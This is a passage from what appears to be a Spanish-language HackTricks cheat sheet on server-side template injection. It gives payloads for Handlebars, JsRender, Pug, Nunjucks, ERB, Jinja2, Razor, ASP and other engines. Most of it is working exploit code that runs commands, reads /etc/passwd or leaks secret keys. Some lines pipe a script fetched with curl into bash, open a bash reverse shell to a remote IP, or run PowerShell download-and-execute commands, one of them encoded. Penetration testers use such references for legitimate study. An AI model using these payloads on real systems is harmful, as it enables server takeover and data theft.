<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

Traversa de Ruta (más información aquí).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Error
  • ${7*7} = ${7*7}
  • Nothing
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Más información

JsRender (NodeJS)

Plantilla Descripción
Evaluar y renderizar la salida
Evaluar y renderizar la salida codificada en HTML
Comentario
y Permitir código (desactivado por defecto)
  • = 49

Lado del cliente

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Lado del Servidor

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Más información

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Ejemplo de renderizado en el servidor

var pugjs = require('pug');
home = pugjs.render(injected_page)

Más información

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Sin salida
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Error
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Más información

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Más información

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Más información

Python

Consulta la siguiente página para aprender trucos sobre ejecución de comandos arbitrarios evitando las cajas de arena en python:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}




{{os.system('whoami')}}
{{os.system('whoami')}}

Más información

Jinja2 (Python)

Sitio web oficial

Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo para Unicode, un entorno de ejecución integrado opcionalmente con sandbox, ampliamente utilizado y con licencia BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nada
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}



{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Formato de plantilla

Jinja2 es un motor de plantillas para Python que se utiliza comúnmente en aplicaciones web. Permite separar la lógica de presentación al utilizar archivos de plantilla que contienen marcadores especiales. Estos marcadores se reemplazan por valores dinámicos cuando se renderiza la plantilla.

El formato básico de una plantilla Jinja2 es el siguiente:

<!DOCTYPE html>
<html>
<head>
    <title>{{ title }}</title>
</head>
<body>
    <h1>{{ heading }}</h1>
    <p>{{ content }}</p>
</body>
</html>

En este ejemplo, {{ title }}, {{ heading }} y {{ content }} son marcadores que serán reemplazados por valores específicos cuando se renderice la plantilla. Estos valores pueden provenir de variables en el código Python o de datos proporcionados por el usuario.

Jinja2 también admite estructuras de control, como bucles y condicionales, que permiten una mayor flexibilidad en la generación de contenido dinámico. Por ejemplo:

<ul>
{% for item in items %}
    <li>{{ item }}</li>
{% endfor %}
</ul>

En este caso, el bucle for se utiliza para generar una lista <ul> con elementos <li> basados en los elementos de la variable items.

Es importante tener en cuenta que, si no se maneja correctamente, Jinja2 puede ser vulnerable a ataques de inyección de plantillas en el lado del servidor (SSTI). Los ataques SSTI pueden permitir a un atacante ejecutar código arbitrario en el servidor, lo que puede llevar a la divulgación de información confidencial o a la toma de control del sistema. Por lo tanto, es fundamental implementar medidas de seguridad adecuadas al utilizar Jinja2 en aplicaciones web.

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE no dependiente de __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Más detalles sobre cómo abusar de Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= Éxito
  • @() <= Éxito
  • @("{{code}}") <= Éxito
  • @ <= Éxito
  • @{} <= ¡ERROR!
  • @{ <= ¡ERROR!
  • @(1+2)
  • @( //Código C# )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

El método System.Diagnostics.Process.Start de .NET se puede utilizar para iniciar cualquier proceso en el servidor y así crear una webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en https://github.com/cnotin/RazorVulnerableApp

Más información

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nada
  • <%= response.write(date()) %> = <Fecha>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Más información

Mojolicious (Perl)

Incluso si es perl, utiliza etiquetas como ERB en Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI en GO

La forma de confirmar que el motor de plantillas utilizado en el backend es Go es utilizando estos payloads:

  • {{ . }} = estructura de datos que se pasa como entrada a la plantilla
  • Si los datos pasados son un objeto que contiene el atributo Password por ejemplo, el payload anterior lo filtraría, pero también podrías hacer: {{ .Password }}
  • {{printf "%s" "ssti" }} = debería mostrar la cadena ssti en la respuesta
  • {{html "ssti"}}, {{js "ssti"}} = Estos son algunos otros payloads que deberían mostrar la cadena "ssti" sin las palabras finales "js" o "html". Puedes consultar más palabras clave en el motor aquí.

Explotación de XSS

Si el servidor está utilizando el paquete text/template, es muy fácil lograr XSS simplemente proporcionando tu payload como entrada. Sin embargo, eso no es el caso con html/template ya que codifica HTML en la respuesta: {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

Sin embargo, Go permite DEFINIR una plantilla completa y luego llamarla más tarde. El payload sería algo como:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

Explotación de RCE

La documentación tanto para el módulo html/template se puede encontrar aquí, y la documentación para el módulo text/template se puede encontrar aquí, y sí, varían mucho. Por ejemplo, en text/template, puedes llamar directamente cualquier función pública con el valor "call", sin embargo, esto no es el caso con html/template.

Si quieres encontrar una RCE en Go a través de SSTI, debes saber que al acceder al objeto dado a la plantilla con {{ . }}, también puedes llamar a los métodos del objeto. Entonces, imagina que el objeto pasado tiene un método llamado System que ejecuta el comando dado, podrías abusar de él con: {{ .System "ls" }}
Por lo tanto, probablemente necesitarás el código fuente. Un código fuente potencial para algo así se vería así:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Más información

Más exploits

Ver el resto de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para más exploits. También puedes encontrar información interesante en las etiquetas en https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Ayuda relacionada

Si crees que podría ser útil, lee:

Herramientas

{% embed url="https://github.com/epinna/tplmap" %}

Lista de detección de fuerza bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Práctica y referencias

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥